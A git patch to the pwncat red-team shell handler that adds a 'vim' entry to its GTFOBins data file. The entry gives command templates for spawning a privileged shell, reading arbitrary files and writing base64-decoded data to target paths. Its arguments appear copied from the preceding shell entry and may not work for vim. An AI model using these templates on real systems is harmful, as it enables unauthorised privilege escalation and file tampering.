From 27fe9288c42ee9b203364820570d88f582e6853a Mon Sep 17 00:00:00 2001 From: John Hammond Date: Sun, 10 May 2020 19:55:47 -0400 Subject: [PATCH] Added some GTFOBins --- README.md | 2 +- data/gtfobins.json | 13 +++++++++++++ 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ddb188c..8982edd 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ # pwncat pwncat is a raw bind and reverse shell handler. It streamlines common red team -operations and all staging code from your own attacker machine, not the target. +operations and all staging code is from your own attacker machine, not the target. After receiving a connection, **pwncat** will setup some common configurations when working with remote shells. diff --git a/data/gtfobins.json b/data/gtfobins.json index cf18a8c..52e7f69 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -150,5 +150,18 @@ "payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\"" }, "command": "{path} -p -c {command}" + }, + { + "name": "vim", + "shell": { + "script": "{command}", + "suid": ["-p"] + }, + "read_file": "{path} -p -c \"cat {lfile}\"", + "write_file": { + "type": "base64", + "payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\"" + }, + "command": "{path} -p -c {command}" } ]